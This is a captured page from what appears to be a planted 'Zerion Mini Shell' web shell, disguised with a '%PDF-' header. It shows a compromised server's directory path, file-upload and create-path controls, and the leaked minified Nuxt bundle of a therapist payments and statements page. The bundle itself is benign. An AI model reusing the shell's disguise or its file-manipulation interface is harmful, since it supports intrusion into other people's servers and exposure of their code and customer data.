%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/295d706.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[73,20,23],{408:function(t,e,n){"use strict";n.r(e);var o={props:{payment:Object}},l=n(10),component=Object(l.a)(o,(function(){var t=this,e=t.$createElement,n=t._self._c||e;return n("div",{staticClass:"relative p-6 pr-8 mb-1 bg-gray grid grid-cols-1 sm:grid-cols-3 md:grid-cols-5 lg:grid-cols-6 gap-6"},[n("div",{staticClass:"col-span-1"},[n("div",{staticClass:"relative max-w-xs mx-auto md:max-w-full"},[n("div",{staticClass:"absolute top-0 left-0 w-full h-full border-15 border-yellow border-opacity-80"}),t._v(" "),n("img",{attrs:{src:t.payment.customer.photo_url,alt:t.payment.customer.first_name}})])]),t._v(" "),n("div",{staticClass:"text-center sm:text-left sm:col-span-2 md:col-span-4 lg:col-span-5 grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 py-2"},[n("div",{staticClass:"lg:col-span-2 flex flex-col sm:items-start justify-center"},[n("small",{staticClass:"uppercase text-sm text-black text-opacity-80"},[t._v(t._s(t.payment.created_at))]),t._v(" "),n("h2",{staticClass:"text-xl font-bold mb-2"},[t._v(t._s(t.payment.customer.first_name+" "+t.payment.customer.last_name))])]),t._v(" "),n("div",{staticClass:"flex flex-col md:items-end justify-center"},[n("span",{staticClass:"block mb-2 text-sm"},[t._v(t._s(0==t.payment.is_complete?"Payment pending":"Payment recieved"))]),t._v(" "),n("span",{staticClass:"block font-bold text-2xl"},[t._v(t._s(t.payment.amount.formatted))])])])])}),[],!1,null,null,null);e.default=component.exports},410:function(t,e,n){"use strict";n.r(e);var o=n(10),component=Object(o.a)({},(function(){var t=this,e=t.$createElement,n=t._self._c||e;return n("nav",{staticClass:"flex items-center justify-center"},[n("NuxtLink",{staticClass:"account-nav-link",attrs:{to:"/therapist/money"}},[t._v("Overview")]),t._v(" "),n("NuxtLink",{staticClass:"account-nav-link",attrs:{to:"/therapist/money/statements"}},[t._v("Statements")])],1)}),[],!1,null,null,null);e.default=component.exports},457:function(t,e,n){"use strict";n(4)({target:"URL",proto:!0,enumerable:!0},{toJSON:function(){return URL.prototype.toString.call(this)}})},493:function(t,e,n){"use strict";n.r(e);var o=n(0),l=(n(3),n(136),n(11),n(22),n(26),n(62),n(46),n(49),n(457),n(78),{middleware:["auth","therapist"],head:function(){return{titleTemplate:"Statements | %s"}},data:function(){return{downloadLoading:!1,downloadOpen:!1,downloadTimeframe:"today",downloadError:!1}},computed:{payments:function(){return this.$store.state.therapist.money.payments}},methods:{toggleDropdown:function(){this.downloadOpen=!this.downloadOpen,this.downloadError=!1},downloadPdf:function(){var t=this;return Object(o.a)(regeneratorRuntime.mark((function e(){var n,o,l,link,r,c;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.prev=0,t.downloadError=!1,t.downloadLoading=!0,e.next=5,t.$axios.post("/therapist/money/statement",{timeframe:t.downloadTimeframe},{responseType:"blob",headers:{Accept:"application/pdf"}});case 5:n=e.sent,o=new Blob([n.data],{type:"application/pdf"}),l=window.URL.createObjectURL(o),(link=document.createElement("a")).href=l,r=(new Date).toJSON().slice(0,10).replace(/-/g,"/"),c="".concat(t.$auth.user.data.full_name," statement ").concat(r),link.setAttribute("download",c.toLowerCase().replace(/ /g,"-").replace(/[^\w-]+/g,"")),link.click(),t.downloadOpen=!1,e.next=21;break;case 17:e.prev=17,e.t0=e.catch(0),t.downloadOpen=!0,t.downloadError=!0;case 21:t.downloadLoading=!1;case 22:case"end":return e.stop()}}),e,null,[[0,17]])})))()}},asyncData:function(t){return Object(o.a)(regeneratorRuntime.mark((function e(){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=t.store,e.next=3,n.dispatch("therapist/money/getPayments");case 3:case"end":return e.stop()}}),e)})))()}}),r=n(10),component=Object(r.a)(l,(function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"page-wrapper"},[o("PageHeader",{attrs:{classObject:"bg-blue"}},[o("img",{staticClass:"relative z-20 mb-8",attrs:{src:n(135),alt:"Takeaseat"}}),t._v(" "),o("h1",{staticClass:"relative z-20 text-5xl lg:text-7xl font-bold m-0"},[t._v("Money Manager")]),t._v(" "),o("div",{staticClass:"page-header-bottom"},[o("MoneyManagerNav")],1)]),t._v(" "),t.payments?o("div",{staticClass:"pt-8"},[o("div",{staticClass:"max-w-5xl mx-auto w-full px-6 lg:px-0"},[o("div",{staticClass:"grid grid-cols-1 sm:grid-cols-2 mb-6"},[o("h2",{staticClass:"text-4xl font-bold text-center sm:text-left"},[t._v("Statements")]),t._v(" "),o("div",{staticClass:"text-center sm:text-right relative"},[o("button",{staticClass:"text-blue-light text-2xl font-bold mt-2",attrs:{type:"button"},on:{click:function(e){return e.preventDefault(),t.toggleDropdown(e)}}},[t._v("Download PDF")]),t._v(" "),o("div",{staticClass:"text-center absolute z-20 w-full sm:w-96 right-0 bg-white rounded-3xl top-10 shadow-lg p-6 transition duration-100 transform origin-top-right scale-100 opacity-100",class:t.downloadOpen?"scale-100 opacity-100":"scale-90 opacity-0",on:{mouseleave:function(){t.downloadOpen&&t.toggleDropdown()}}},[t._m(0),t._v(" "),o("div",{staticClass:"relative mb-3"},[o("select",{directives:[{name:"model",rawName:"v-model",value:t.downloadTimeframe,expression:"downloadTimeframe"}],staticClass:"form-select",on:{change:function(e){var n=Array.prototype.filter.call(e.target.options,(function(t){return t.selected})).map((function(t){return"_value"in t?t._value:t.value}));t.downloadTimeframe=e.target.multiple?n:n[0]}}},[o("option",{attrs:{value:"today"}},[t._v("Today")]),t._v(" "),o("option",{attrs:{value:"7"}},[t._v("Last 7 Days")]),t._v(" "),o("option",{attrs:{value:"30"}},[t._v("Last 30 Days")])])]),t._v(" "),t.downloadError?o("div",{staticClass:"block px-4 py-3 mb-2 rounded-xl bg-red text-white text-sm leading-4"},[t._v("\n              An error occurred, please try again.\n            ")]):t._e(),t._v(" "),o("div",{staticClass:"relative mb-3"},[o("button",{staticClass:"btn btn-primary m-auto btn-small rounded-full shadow inline-block",attrs:{type:"button",disabled:t.downloadLoading},on:{click:function(e){return e.preventDefault(),t.downloadPdf(e)}}},[t.downloadLoading?o("svg",{staticClass:"inline-block animate-spin -ml-1 mr-3 h-5 w-5 text-current",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"}},[o("circle",{staticClass:"opacity-25",attrs:{cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"}}),t._v(" "),o("path",{staticClass:"opacity-75",attrs:{fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}})]):t._e(),t._v(" "),o("span",{staticClass:"inline-block"},[t._v("Download")])])])])])]),t._v(" "),t._l(t.payments,(function(e,n){return o("div",{key:n,staticClass:"mb-6"},[o("div",{staticClass:"grid grid-cols-2 gap-4 mb-5"},[o("h3",{staticClass:"text-2xl font-bold"},[t._v(t._s(n))])]),t._v(" "),t._l(e,(function(t,e){return o("Payment",{key:e,attrs:{payment:t}})}))],2)}))],2)]):o("div",{staticClass:"py-20 w-full bg-gray text-center"},[o("span",{staticClass:"font-bold text-3xl"},[t._v("You have no payments yet")])])],1)}),[function(){var t=this,e=t.$createElement,n=t._self._c||e;return n("div",{staticClass:"relative mb-3"},[n("h1",[t._v("Download statement for")])])}],!1,null,null,null);e.default=component.exports;installComponents(component,{MoneyManagerNav:n(410).default,PageHeader:n(212).default,Payment:n(408).default})}}]);

Zerion Mini Shell 1.0